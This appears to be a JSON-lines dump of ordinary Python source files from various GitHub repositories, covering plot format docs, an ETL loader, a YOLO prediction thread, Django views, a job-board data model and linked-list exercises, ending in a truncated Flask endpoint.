file\n\n\"\"\"\n## plt.plot format options\n\nThe following format string characters are accepted to control\nthe line style or marker:\n\n================    ===============================\ncharacter           description\n================    ===============================\n``'-'``             solid line style\n``'--'``            dashed line style\n``'-.'``            dash-dot line style\n``':'``             dotted line style\n``'.'``             point marker\n``','``             pixel marker\n``'o'``             circle marker\n``'v'``             triangle_down marker\n``'^'``             triangle_up marker\n``'<'``             triangle_left marker\n``'>'``             triangle_right marker\n``'1'``             tri_down marker\n``'2'``             tri_up marker\n``'3'``             tri_left marker\n``'4'``             tri_right marker\n``'s'``             square marker\n``'p'``             pentagon marker\n``'*'``             star marker\n``'h'``             hexagon1 marker\n``'H'``             hexagon2 marker\n``'+'``             plus marker\n``'x'``             x marker\n``'D'``             diamond marker\n``'d'``             thin_diamond marker\n``'|'``             vline marker\n``'_'``             hline marker\n================    ===============================\n\nThe following color abbreviations are supported:\n\n==========  ========\ncharacter   color\n==========  ========\n'b'         blue\n'g'         green\n'r'         red\n'c'         cyan\n'm'         magenta\n'y'         yellow\n'k'         black\n'w'         white\n==========  ========\n\"\"\"\n\n\"\"\"\nPandas plotting kinds available\n\n    ‘line’ : line plot (default)\n    ‘bar’ : vertical bar plot\n    ‘barh’ : horizontal bar plot\n    ‘hist’ : histogram\n    ‘box’ : boxplot\n    ‘kde’ : Kernel Density Estimation plot\n    ‘density’ : same as ‘kde’\n    ‘area’ : area plot\n    ‘pie’ : pie plot\n    ‘scatter’ : scatter plot\n    ‘hexbin’ : hexbin plot\n\n\"\"\"\n","repo_name":"alejandroge/PyDocs","sub_path":"PyPlot.py","file_name":"PyPlot.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"35368657344","text":"# -*- coding: utf-8 -*-\r\nimport psycopg2\r\nimport random\r\nfrom pandasql import sqldf\r\nimport sqlalchemy\r\nimport ETL_pipeline\r\nimport pandas as pd\r\n'''\r\nload process:\r\n    - configure the data into dataframes based on the created dimensional model\r\n    - insert dataframes into respective postgresql database\r\n'''\r\ni = 0\r\nsurrogate_key_list = random.sample(range(10000, 99999), 1000)\r\n\r\nsap_red_df, school_location_df, contact_sports_df = ETL_pipeline.loader_data()\r\n\r\ndate_dim = pd.DataFrame(sap_red_df['year'].drop_duplicates().reset_index(drop=True))\r\ndate_dim.loc[:, 'date_key'] = 0\r\n\r\nfor j in range(len(date_dim['date_key'])):\r\n    date_dim['date_key'][j] = surrogate_key_list[i]\r\n    i+=1\r\n    \r\nlocation_dim = pd.DataFrame(school_location_df[['state', 'city', 'school_name']].drop_duplicates().reset_index(drop=True))\r\nlocation_dim.loc[:,'location_key'] = 0\r\nfor j in range(len(location_dim['location_key'])):\r\n    location_dim['location_key'][j] = surrogate_key_list[i]\r\n    i+=1\r\n\r\nschool_dim = pd.DataFrame(sap_red_df['school_name'].drop_duplicates().reset_index(drop=True))\r\nschool_dim.loc[:,'school_key'] = 0\r\nfor j in range(len(school_dim['school_key'])):\r\n    school_dim['school_key'][j] = surrogate_key_list[i]\r\n    i+=1\r\n\r\nsport_dim = pd.DataFrame(sap_red_df[['gender', 'sport']].drop_duplicates().reset_index(drop=True))\r\nsport_dim.loc[:,'sport_key'] = 0\r\nfor j in range(len(sport_dim['sport_key'])):\r\n    sport_dim['sport_key'][j] = surrogate_key_list[i]\r\n    i+=1\r\n    \r\n    \r\nschool_dim_q ='''\r\n    SELECT sc.school_key,\r\n            sc.school_name,\r\n            si.school_conference,\r\n            si.school_type\r\n    FROM school_dim sc\r\n    INNER JOIN school_location_df si\r\n    ON sc.school_name = si.school_name;\r\n'''    \r\nschool_dim = sqldf(school_dim_q)\r\n\r\nsport_dim_q = '''\r\n    SELECT sp.sport_key,\r\n            sp.gender,\r\n            sp.sport,\r\n            c.contact_sport\r\n    FROM sport_dim sp\r\n    INNER JOIN contact_sports_df c\r\n    ON sp.sport = c.sport;\r\n'''\r\nsport_dim = sqldf(sport_dim_q)\r\n\r\n#creating fact table from dimension tables and original raw table\r\nfact_tbl_query = '''\r\n    SELECT d.date_key, \r\n           l.location_key, \r\n           sc.school_key, \r\n           sp.sport_key, \r\n           st.num_athletes, \r\n           st.academic_score\r\n           \r\n    FROM sap_red_df st\r\n    \r\n    INNER JOIN date_dim d\r\n    ON st.year = d.year\r\n    \r\n    INNER JOIN location_dim l\r\n    ON st.school_name = l.school_name\r\n    \r\n    INNER JOIN school_dim sc\r\n    ON st.school_name = sc.school_name\r\n    \r\n    INNER JOIN sport_dim sp\r\n    ON st.gender = sp.gender\r\n    AND st.sport = sp.sport;\r\n'''\r\n\r\nacademic_score_snapshot_fact = sqldf(fact_tbl_query)\r\n\r\nlocation_dim = location_dim.drop('school_name', axis=1)\r\n'''\r\nLoading dimension/fact tables into PostgreSQL database\r\n'''\r\n\r\n#USERNAME and PASSWORD are specific to your postgreSQL account\r\nengine = sqlalchemy.create_engine(\"postgresql://username:password@localhost/student_ath_academics\")\r\n\r\ntables = [date_dim, location_dim, school_dim, sport_dim, academic_score_snapshot_fact]\r\ntable_names = [\"date_dim\", \"location_dim\", \"school_dim\", \"sport_dim\", \"academic_score_snapshot_fact\"]\r\nfor i in range(len(tables)):\r\n    tables[i].to_sql(name=table_names[i], con=engine, schema=\"student_ath\", if_exists=\"append\", index=False)\r\n\r\n\r\n","repo_name":"oiannace/ETL-pipeline","sub_path":"loader.py","file_name":"loader.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"16103092486","text":"import hashlib\nimport os\n\nDEFAULT = object()\n\ndef get_file_git_hash(filename, default=DEFAULT):\n    if default is not DEFAULT and not os.path.exists(filename):\n        return default\n\n    BUF_SIZE = 65536\n    sha1 = hashlib.sha1()\n    sha1.update(('blob %d\\0' % os.stat(filename).st_size).encode('utf-8'))\n    with open(filename, 'rb') as f:\n        while True:\n            data = f.read(BUF_SIZE)\n            if not data:\n                break\n            sha1.update(data)\n    return sha1.hexdigest()\n\ndef collect_repo_hashes(repo):\n    commit = repo.get_commits()[0]\n    return dict((item.path, item.sha)\n                for item in repo.get_git_tree(commit.sha, recursive=True).tree)\n","repo_name":"osteele/classroom-tools","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"77"}
+{"seq_id":"33415526355","text":"import os\nimport time\nimport numpy as np\nimport traceback\nimport csv\nimport xml.etree.ElementTree as et\nfrom PIL import Image\nfrom threading import Event\nfrom renom.cuda import set_cuda_active, release_mem_pool\n\nfrom renom_img.api.detection.yolo_v1 import Yolov1\nfrom renom_img.api.detection.yolo_v2 import Yolov2\nfrom renom_img.api.utility.load import parse_xml_detection\nfrom renom_img.api.utility.distributor.distributor import ImageDistributor\nfrom renom_img.api.utility.augmentation.process import Shift\n\nfrom renom_img.server import ALG_YOLOV1, ALG_YOLOV2\nfrom renom_img.server import DB_DIR_TRAINED_WEIGHT\nfrom renom_img.server import DATASRC_PREDICTION_IMG, DATASRC_PREDICTION_OUT, \\\n    DATASRC_PREDICTION_OUT_CSV, DATASRC_PREDICTION_OUT_XML\nfrom renom_img.server import STATE_RUNNING\nfrom renom_img.server import RUN_STATE_TRAINING, RUN_STATE_VALIDATING, \\\n    RUN_STATE_PREDICTING, RUN_STATE_STARTING, RUN_STATE_STOPPING\n\nfrom renom_img.server.utility.storage import storage\n\n\nclass PredictionThread(object):\n\n    def __init__(self, thread_id, model_id, hyper_parameters,\n                 algorithm, algorithm_params, weight_name, class_map):\n\n        self.model_id = model_id\n\n        # State of thread.\n        # The variable _running_state has setter and getter.\n        self._running_state = RUN_STATE_STARTING\n        self.nth_batch = 0\n        self.total_batch = 0\n        self.last_batch_loss = 0\n\n        # Error message caused in thread.\n        self.error_msg = None\n\n        # hyperparameters\n        self.batch_size = int(hyper_parameters[\"batch_size\"])\n        self.imsize = (int(hyper_parameters[\"image_width\"]),\n                       int(hyper_parameters[\"image_height\"]))\n        self.stop_event = Event()\n\n        # Prepare dataset\n        self.predict_files = [os.path.join(DATASRC_PREDICTION_IMG, path)\n                              for path in sorted(os.listdir(DATASRC_PREDICTION_IMG))]\n\n        # File name of trainded model's weight\n        self.weight_name = weight_name\n\n        # Algorithm\n        # Pretrained weights are must be prepared.\n        self.algorithm = algorithm\n        path = os.path.join(DB_DIR_TRAINED_WEIGHT,  self.weight_name)\n        if algorithm == ALG_YOLOV1:\n            # Algorithm params are saved to h5.\n            cell_size = int(algorithm_params[\"cells\"])\n            num_bbox = int(algorithm_params[\"bounding_box\"])\n            self.model = Yolov1(class_map, cell_size, num_bbox, imsize=self.imsize)\n            self.model.load(path)\n        elif algorithm == ALG_YOLOV2:\n            self.model = Yolov2(class_map, [], imsize=self.imsize)\n            self.model.load(path)\n        else:\n            self.error_msg = \"{} is not supported algorithm id.\".format(algorithm)\n\n        # Result set of prediction\n        self.predict_results = {}\n\n        # File name of prediction result\n        self.csv_filename = ''\n\n    @property\n    def running_state(self):\n        return self._running_state\n\n    @running_state.setter\n    def running_state(self, state):\n        \"\"\"\n        If thread's state becomes RUN_STATE_STOPPING once, \n        state will never be changed.\n        \"\"\"\n        if self._running_state != RUN_STATE_STOPPING:\n            self._running_state = state\n\n    def __call__(self):\n        # This func works as thread.\n        batch_size = self.batch_size\n\n        try:\n            i = 0\n            set_cuda_active(True)\n            release_mem_pool()\n            self.model.set_models(inference=True)\n            result = []\n            # Prediction\n            self.running_state = RUN_STATE_PREDICTING\n            if self.is_stopped():\n                return\n            display_loss = 0\n            self.total_batch = int(np.ceil(len(self.predict_files) / float(self.batch_size)))\n            for i in range(0, self.total_batch):\n                self.nth_batch = i\n                batch = self.predict_files[i * self.batch_size:(i + 1) * batch_size]\n                batch_result = self.model.predict(batch)\n                result.extend(batch_result)\n\n            # Set result.\n            predict_list = []\n            for img_path in self.predict_files:\n                img = Image.open(img_path)\n                height = img.size[1]\n                width = img.size[0]\n                predict_list.append({\n                    \"path\": img_path,\n                    \"height\": height,\n                    \"width\": width,\n                })\n\n            self.predict_results = {\n                \"prediction_file_list\": predict_list,\n                \"bbox_list\": result\n            }\n\n            self.save_predict_result_to_csv()\n            self.save_predict_result_to_xml()\n        # Store epoch data tp DB.\n\n        except Exception as e:\n            traceback.print_exc()\n            self.error_msg = str(e)\n            self.model = None\n            release_mem_pool()\n\n    def get_running_info(self):\n        return {\n            \"model_id\": self.model_id,\n            \"total_batch\": self.total_batch,\n            \"nth_batch\": self.nth_batch,\n            \"last_batch_loss\": self.last_batch_loss,\n            \"running_state\": self.running_state,\n        }\n\n    def stop(self):\n        # Thread can be canceled only if it have not been started.\n        # This method is for stopping running thread.\n        self.stop_event.set()\n        self.running_state = RUN_STATE_STOPPING\n\n    def is_stopped(self):\n        return self.stop_event.is_set()\n\n    def save_predict_result_to_csv(self):\n        try:\n            # modelのcsvを保存する\n            BASE_DIR = os.path.dirname(os.path.abspath(__file__))\n            CSV_DIR = os.path.join(BASE_DIR, DATASRC_PREDICTION_OUT, 'csv')\n            if not os.path.isdir(CSV_DIR):\n                os.makedirs(CSV_DIR)\n\n            self.csv_filename = '{}.csv'.format(int(time.time()))\n            filepath = os.path.join(CSV_DIR, self.csv_filename)\n            with open(filepath, 'w') as f:\n                writer = csv.writer(f, lineterminator=\"\\n\")\n                for i in range(len(self.predict_results[\"prediction_file_list\"])):\n                    row = []\n                    row.append(self.predict_results[\"prediction_file_list\"][i][\"path\"])\n                    if isinstance(self.predict_results, list) and len(self.predict_results[\"bbox_list\"]) != 0:\n                        for j in range(len(self.predict_results[\"bbox_list\"][i])):\n                            b = self.predict_results[\"bbox_list\"][i][j]\n                            row.append(b[\"class\"])\n                            row.append(b[\"box\"])\n                    else:\n                        row.append(None)\n                        row.append(None)\n\n                    writer.writerow(row)\n        except Exception as e:\n            traceback.print_exc()\n            self.error_msg = e.args[0]\n\n    def save_predict_result_to_xml(self):\n        try:\n            for i in range(len(self.predict_results[\"prediction_file_list\"])):\n                img_path = self.predict_results[\"prediction_file_list\"][i][\"path\"]\n                filename = img_path.split(\"/\")[-1]\n                xml_filename = '{}.xml'.format(filename.split(\".\")[0])\n                filepath = os.path.join(DATASRC_PREDICTION_OUT_XML, xml_filename)\n                img_path = os.path.join(DATASRC_PREDICTION_IMG, filename)\n                im = Image.open(img_path)\n                width, height = im.size\n\n                annotation = et.Element(\"annotation\")\n                name = et.SubElement(annotation, \"filename\")\n                name.text = filename\n\n                for j in range(len(self.predict_results[\"bbox_list\"][i])):\n                    b = self.predict_results[\"bbox_list\"][i][j]\n                    obj = et.SubElement(annotation, \"object\")\n                    bbox_class = et.SubElement(obj, \"class\")\n                    bbox_class.text = str(b[\"class\"])\n\n                    bbox_position = et.SubElement(obj, \"bndbox\")\n                    bbox_xmax = et.SubElement(bbox_position, \"xmax\")\n                    xmax = width * b[\"box\"][0] + (width * b[\"box\"][2] / 2.)\n                    bbox_xmax.text = str(xmax)\n\n                    bbox_xmin = et.SubElement(bbox_position, \"xmin\")\n                    xmin = width * b[\"box\"][0] - (width * b[\"box\"][2] / 2.)\n                    bbox_xmin.text = str(xmin)\n\n                    bbox_ymax = et.SubElement(bbox_position, \"ymax\")\n                    ymax = height * b[\"box\"][1] + height * b[\"box\"][3] / 2.\n                    bbox_ymax.text = str(ymax)\n\n                    bbox_ymin = et.SubElement(bbox_position, \"ymin\")\n                    ymin = height * b[\"box\"][1] - height * b[\"box\"][3] / 2.\n                    bbox_ymin.text = str(ymin)\n\n                    bbox_score = et.SubElement(obj, \"score\")\n                    bbox_score.text = str(b[\"score\"])\n\n                size = et.SubElement(annotation, \"size\")\n                size_h = et.SubElement(size, \"height\")\n                size_h.text = str(height)\n                size_w = et.SubElement(size, \"width\")\n                size_w.text = str(width)\n\n                tree = et.ElementTree(annotation)\n\n                tree.write(filepath)\n        except Exception as e:\n            traceback.print_exc()\n            self.error_msg = e.args[0]\n","repo_name":"DaikiOnodera/ReNomIMG","sub_path":"renom_img/server/prediction_thread.py","file_name":"prediction_thread.py","file_ext":"py","file_size_in_byte":9250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"30195959506","text":"from django.shortcuts import render\nfrom django.views.generic import ListView, DetailView\nfrom .models import Publisher, Book\nclass PublisherListView(ListView):\n    model = Publisher\n    template_name = 'books/publisher_list.html'\n    # The context_object_name attribute on a generic view specifies the context variable to use:\n    context_object_name = 'publisher_list'\nclass PublisherBookListView(ListView):\n    template_name = 'books/books_by_publisher.html'\n    context_object_name = 'book_list'\n\n    def get_queryset(self):\n        self.publisher = Publisher.objects.get(pk=self.kwargs['publisher'])\n        return Book.objects.filter(publisher=self.publisher)\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['publisher'] = self.publisher\n        return context\n\nclass PublisherDetailView(DetailView):\n    template_name = 'books/publisher_detail.html'\n\n    def get_queryset(self):\n        self.publisher = Publisher.objects.get(pk=self.kwargs['pk'])\n        return []\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context['book_list'] = Book.objects.all()\n        return context","repo_name":"ItManHarry/isms","sub_path":"apps/view_gc/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4337105183","text":"from __future__ import annotations\n\nfrom flask import Markup, url_for\nfrom pytz import timezone\nfrom sqlalchemy.ext.associationproxy import association_proxy\nfrom werkzeug.utils import cached_property\n\nfrom coaster.sqlalchemy import make_timestamp_columns\n\nfrom . import (\n    BaseNameMixin,\n    DynamicMapped,\n    Mapped,\n    Model,\n    TimestampMixin,\n    backref,\n    db,\n    relationship,\n    sa,\n)\nfrom .jobcategory import JobCategory\nfrom .jobpost import JobPost\nfrom .jobtype import JobType\nfrom .tag import Tag\nfrom .user import User, UserActiveAt\n\n__all__ = [\n    'Board',\n    'BoardJobPost',\n    'BoardAutoDomain',\n    'BoardAutoLocation',\n    'board_auto_tag_table',\n    'board_auto_jobtype_table',\n    'board_auto_jobcategory_table',\n]\n\n\nboard_jobtype_table = sa.Table(\n    'board_jobtype',\n    Model.metadata,\n    *(\n        make_timestamp_columns(timezone=True)\n        + (\n            sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n            sa.Column(\n                'jobtype_id', None, sa.ForeignKey('jobtype.id'), primary_key=True\n            ),\n        )\n    ),\n)\n\n\nboard_jobcategory_table = sa.Table(\n    'board_jobcategory',\n    Model.metadata,\n    *(\n        make_timestamp_columns(timezone=True)\n        + (\n            sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n            sa.Column(\n                'jobcategory_id',\n                None,\n                sa.ForeignKey('jobcategory.id'),\n                primary_key=True,\n            ),\n        )\n    ),\n)\n\n\nboard_users_table = sa.Table(\n    'board_user',\n    Model.metadata,\n    *(\n        make_timestamp_columns(timezone=True)\n        + (\n            sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n            sa.Column('user_id', None, sa.ForeignKey('user.id'), primary_key=True),\n        )\n    ),\n)\n\n\nboard_auto_tag_table = sa.Table(\n    'board_auto_tag',\n    Model.metadata,\n    sa.Column('tag_id', None, sa.ForeignKey('tag.id'), primary_key=True),\n    sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n    sa.Column(\n        'created_at',\n        sa.TIMESTAMP(timezone=True),\n        nullable=False,\n        default=sa.func.utcnow(),\n    ),\n)\n\n\nboard_auto_jobtype_table = sa.Table(\n    'board_auto_jobtype',\n    Model.metadata,\n    sa.Column('jobtype_id', None, sa.ForeignKey('jobtype.id'), primary_key=True),\n    sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n    sa.Column(\n        'created_at',\n        sa.TIMESTAMP(timezone=True),\n        nullable=False,\n        default=sa.func.utcnow(),\n    ),\n)\n\n\nboard_auto_jobcategory_table = sa.Table(\n    'board_auto_jobcategory',\n    Model.metadata,\n    sa.Column(\n        'jobcategory_id', None, sa.ForeignKey('jobcategory.id'), primary_key=True\n    ),\n    sa.Column('board_id', None, sa.ForeignKey('board.id'), primary_key=True),\n    sa.Column(\n        'created_at',\n        sa.TIMESTAMP(timezone=True),\n        nullable=False,\n        default=sa.func.utcnow(),\n    ),\n)\n\n\ndef jobtype_choices(cls, board=None):\n    if board:\n        return [(ob.id, ob.title) for ob in board.types if not ob.private]\n    else:\n        return [\n            (ob.id, ob.title)\n            for ob in cls.query.filter_by(private=False, public=True).order_by(cls.seq)\n        ]\n\n\nJobType.choices = classmethod(jobtype_choices)\n\n\ndef jobcategory_choices(cls, board=None):\n    if board:\n        return [(ob.id, ob.title) for ob in board.categories if not ob.private]\n    else:\n        return [\n            (ob.id, ob.title)\n            for ob in cls.query.filter_by(private=False, public=True).order_by(cls.seq)\n        ]\n\n\nJobCategory.choices = classmethod(jobcategory_choices)\n\n\nclass BoardAutoDomain(TimestampMixin, Model):\n    \"\"\"\n    Domain tag for boards\n    \"\"\"\n\n    __tablename__ = 'board_auto_domain'\n    #: Board we are referencing\n    board_id = sa.orm.mapped_column(\n        None, sa.ForeignKey('board.id'), primary_key=True, nullable=False\n    )\n    #: Domain for this board\n    domain = sa.orm.mapped_column(\n        sa.Unicode(80), primary_key=True, nullable=False, index=True\n    )\n    board: Mapped[Board] = relationship(back_populates='domains')\n\n    def __repr__(self):\n        return f'<BoardAutoDomain {self.domain} for board {self.board.name}>'\n\n\nclass BoardAutoLocation(TimestampMixin, Model):\n    \"\"\"\n    Location tag for boards\n    \"\"\"\n\n    __tablename__ = 'board_auto_location'\n    #: Board we are referencing\n    board_id = sa.orm.mapped_column(\n        None, sa.ForeignKey('board.id'), primary_key=True, nullable=False\n    )\n    board: Mapped[Board] = relationship(back_populates='auto_locations')\n\n    #: Geonameid for this board\n    geonameid = sa.orm.mapped_column(\n        sa.Integer, primary_key=True, nullable=False, index=True\n    )\n\n    def __repr__(self):\n        return '<BoardAutoLocation %d for board %s>' % (self.geonameid, self.board.name)\n\n\nclass Board(BaseNameMixin, Model):\n    \"\"\"\n    Boards show a filtered set of jobs at board-specific URLs.\n    \"\"\"\n\n    __tablename__ = 'board'\n    #: Reserved board names\n    reserved_names = ['static', 'beta']\n    #: Caption\n    caption = sa.orm.mapped_column(sa.Unicode(250), nullable=True)\n    #: Lastuser organization userid that owns this\n    userid = sa.orm.mapped_column(sa.Unicode(22), nullable=False, index=True)\n    #: Welcome text\n    description = sa.orm.mapped_column(sa.UnicodeText, nullable=False, default='')\n    #: Restrict displayed posts to 24 hours if not logged in?\n    require_login = sa.orm.mapped_column(sa.Boolean, nullable=False, default=True)\n    #: Restrict ability to list via this board?\n    restrict_listing = sa.orm.mapped_column(sa.Boolean, nullable=False, default=True)\n    #: Relax pay data requirement?\n    require_pay = sa.orm.mapped_column(sa.Boolean, nullable=False, default=True)\n    #: New job template headline\n    newjob_headline = sa.orm.mapped_column(sa.Unicode(100), nullable=True)\n    #: New job posting instructions\n    newjob_blurb = sa.orm.mapped_column(sa.UnicodeText, nullable=True)\n    #: Featured board\n    featured = sa.orm.mapped_column(\n        sa.Boolean, default=False, nullable=False, index=True\n    )\n    #: Posting users\n    posting_users = relationship(User, secondary=board_users_table)\n    #: Available job types\n    types = relationship(JobType, secondary=board_jobtype_table, order_by=JobType.seq)\n    #: Available job categories\n    categories = relationship(\n        JobCategory, secondary=board_jobcategory_table, order_by=JobCategory.seq\n    )\n\n    #: Automatic tagging domains\n    domains = relationship(\n        BoardAutoDomain,\n        back_populates='board',\n        cascade='all, delete-orphan',\n        order_by=BoardAutoDomain.domain,\n    )\n    auto_domains = association_proxy(\n        'domains', 'domain', creator=lambda d: BoardAutoDomain(domain=d)\n    )\n    #: Automatic tagging locations\n    auto_locations = relationship(\n        BoardAutoLocation, back_populates='board', cascade='all, delete-orphan'\n    )\n    auto_geonameids = association_proxy(\n        'auto_locations',\n        'geonameid',\n        creator=lambda geonameid: BoardAutoLocation(geonameid=geonameid),\n    )\n    #: Automatic tagging keywords\n    auto_tags = relationship(Tag, secondary=board_auto_tag_table, order_by=Tag.name)\n    auto_keywords = association_proxy(\n        'auto_tags', 'title', creator=lambda t: Tag.get(t, create=True)\n    )\n    auto_types = relationship(\n        JobType, secondary=board_auto_jobtype_table, order_by=JobType.seq\n    )\n    auto_categories = relationship(\n        JobCategory, secondary=board_auto_jobcategory_table, order_by=JobCategory.seq\n    )\n    #: Must all criteria match for an auto-post?\n    auto_all = sa.orm.mapped_column(sa.Boolean, default=False, nullable=False)\n    #: Users active on this board\n    users_active_at = relationship(UserActiveAt, lazy='dynamic', backref='board')\n\n    boardposts: DynamicMapped[BoardJobPost] = relationship(\n        lazy='dynamic', cascade='all, delete-orphan', back_populates='board'\n    )\n\n    def __repr__(self):\n        return f'<Board {self.name} {self.title!r}>'\n\n    @property\n    def is_root(self):\n        return self.name == 'www'\n\n    @property\n    def not_root(self):\n        return self.name != 'www'\n\n    @property\n    def options(self):\n        \"\"\"Form helper method (see BoardOptionsForm)\"\"\"\n        return self\n\n    @property\n    def autotag(self):\n        \"\"\"Form helper method (see BoardTaggingForm)\"\"\"\n        return self\n\n    @cached_property\n    def tz(self):\n        return timezone(self.timezone)\n\n    @property\n    def title_and_name(self):\n        return Markup(\n            '{title} (<a href=\"{url}\" target=\"_blank\">{name}</a>)'.format(\n                title=self.title, name=self.name, url=self.url_for()\n            )\n        )\n\n    def owner_is(self, user):\n        if user is None:\n            return False\n        if self.userid == user.userid or self.userid in user.allowner_ids():\n            return True\n        return False\n\n    def link_to_jobpost(self, jobpost):\n        return BoardJobPost.query.get((self.id, jobpost.id))\n\n    def add(self, jobpost):\n        link = self.link_to_jobpost(jobpost)\n        if not link:\n            link = BoardJobPost(jobpost=jobpost, board=self)\n            db.session.add(link)\n        return link\n\n    def permissions(self, user, inherited=None):\n        perms = super().permissions(user, inherited)\n        perms.add('view')\n        if not self.restrict_listing:\n            perms.add('new-job')\n        if user is not None and (\n            user.userid == self.userid or self.userid in user.allowner_ids()\n        ):\n            perms.add('edit')\n            perms.add('delete')\n            perms.add('add')\n            perms.add('new-job')\n            perms.add('edit-filterset')\n        elif user in self.posting_users:\n            perms.add('new-job')\n        return perms\n\n    def url_for(self, action='view', _external=False):\n        if action == 'view':\n            if self.is_root:\n                # Specialcase 'www'. Don't use www.hasjob.co.\n                return url_for('index', subdomain=None, _external=_external)\n            else:\n                return url_for('index', subdomain=self.name, _external=_external)\n        elif action == 'edit':\n            return url_for('board_edit', board=self.name, _external=_external)\n        elif action == 'delete':\n            return url_for('board_delete', board=self.name, _external=_external)\n        elif action == 'oembed':\n            if self.is_root:\n                return url_for('index', subdomain=None, embed=1, _external=_external)\n            else:\n                return url_for(\n                    'index', subdomain=self.name, embed=1, _external=_external\n                )\n\n    @classmethod\n    def get(cls, name):\n        return cls.query.filter_by(name=name).one_or_none()\n\n\ndef _user_boards(self):\n    return (\n        Board.query.filter(Board.userid.in_(self.user_organizations_owned_ids()))\n        .options(sa.orm.load_only(Board.id, Board.name, Board.title, Board.userid))\n        .all()\n    )\n\n\nUser.boards = _user_boards\n\n\nclass BoardJobPost(TimestampMixin, Model):\n    \"\"\"\n    Link job posts to boards.\n    \"\"\"\n\n    __tablename__ = 'board_jobpost'\n    #: Linked Board\n    board_id = sa.orm.mapped_column(None, sa.ForeignKey('board.id'), primary_key=True)\n    board = relationship(Board, back_populates='boardposts')\n    #: Linked JobPost\n    jobpost_id = sa.orm.mapped_column(\n        None, sa.ForeignKey('jobpost.id'), primary_key=True, index=True\n    )\n    jobpost = relationship(\n        JobPost,\n        backref=backref(\n            'postboards',\n            lazy='dynamic',\n            order_by='BoardJobPost.created_at',\n            cascade='all, delete-orphan',\n        ),\n    )\n    #: Is this post pinned on this board?\n    pinned = sa.orm.mapped_column(sa.Boolean, default=False, nullable=False)\n\n    def __repr__(self):\n        return '<BoardJobPost {board_id}: {jobpost_id}>'.format(\n            board_id=self.board_id, jobpost_id=self.jobpost_id\n        )\n\n\ndef _jobpost_link_to_board(self, board):\n    return BoardJobPost.query.get((board.id, self.id))\n\n\nJobPost.link_to_board = _jobpost_link_to_board\n\n\ndef _jobpost_add_to(self, board):\n    with db.session.no_autoflush:\n        if isinstance(board, str):\n            board = Board.get(board)\n        if not board:\n            return\n\n        link = self.link_to_board(board)\n        if not link:\n            link = BoardJobPost(jobpost=self, board=board)\n            db.session.add(link)\n        return link\n\n\nJobPost.add_to = _jobpost_add_to\n","repo_name":"hasgeek/hasjob","sub_path":"hasjob/models/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":12628,"program_lang":"python","lang":"en","doc_type":"code","stars":236,"dataset":"github-code","pt":"77"}
+{"seq_id":"26198146003","text":"class Node:\n    def __init__(self, data, next=None):\n        self.data = data\n        self.next = next\n    \n    def print_nodes(self):\n        head = self\n        while head:\n            print(head.data)\n            head = head.next\n            \n    def merge(self, node):\n        if node is None or node.next is None:\n            return node\n            \n        mid_node = self.middlenode(node)\n        secondhalf = mid_node.next\n        mid_node.next = None\n        \n        return self.merge_sort(self.merge(node), self.merge(secondhalf))\n            \n        \n    def middlenode(self, node):\n        a = node\n        b = node\n        \n        while b.next and b.next.next:\n            a = a.next\n            b = b.next.next\n        \n        return a\n        \n    def merge_sort(self, l1, l2):\n        tmp = Node(-1)\n        fnl = tmp\n        \n        while l1 and l2:\n            if l1.data < l2.data:\n                tmp.next = l1\n                l1 = l1.next\n            else:                \n                tmp.next = l2\n                l2 = l2.next\n            tmp = tmp.next\n                \n        tmp.next = l1 if l1 else l2\n        \n        return fnl.next\n\n    def reverse_list(self):\n        cur = self\n        prev= None\n        \n        while cur:\n            tmp = cur.next\n            cur.next = prev\n            prev = cur\n            cur = tmp\n            \n        return prev\n\n    def remove_duplicates(self, node):\n        if node is None or node.next is None:\n            return\n            \n        if node.data == node.next.data:\n            node.next = node.next.next\n            self.remove_duplicates(node)\n        else:\n            self.remove_duplicates(node.next)\n            \n        return node            \n    \nhead = Node(100)\nhead = Node(100, head)\nhead = Node(2, head)\nhead = Node(25, head)\nhead = Node(25, head)\nhead = Node(40, head)\n# head.print_nodes()\n# nd = head.merge(head)\n# nd.print_nodes()\nrd = head.remove_duplicates(head)\n# add reverse list to display in correct order\nrl = rd.reverse_list()\nrl.print_nodes()","repo_name":"srihariprasad-r/workable-code","sub_path":"Practice problems/linkedlist/sort_linked_list.py","file_name":"sort_linked_list.py","file_ext":"py","file_size_in_byte":2059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"16125858067","text":"from google.cloud import datastore\nfrom app_api_requests.datastore_client_factory import get_datastore_client\n\nfrom flask_restful import Resource\nfrom flask import request\nimport sys\nimport base64\n\nimport json\nimport uuid\nimport os\nimport google.cloud.logging\nimport logging\n\nclient = google.cloud.logging.Client()\nclient.setup_logging()\nlogging.basicConfig(format='%(asctime)s,%(msecs)d %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s',\n    datefmt='%Y-%m-%d:%H:%M:%S')\nlogger = logging.getLogger(__name__)\n\ndef print_to_stdout(*a):\n    print(*a, file = sys.stdout)\n\ndef uuid1():\n    \"\"\"Generate a random UUID.\"\"\"\n    return uuid(bytes=os.urandom(16), version=1)\n\n# 401: Unauthorized\n# 200: Successful upload of a new user\nclass Register(Resource):\n    def put(self, current_user_name):\n        logger.info('Executing PUT /register/:current_user_name endpoint...')\n        logger.info('Getting request data...')\n        request.get_data()\n        logger.info(request.get_data())\n\n        decoded_data = 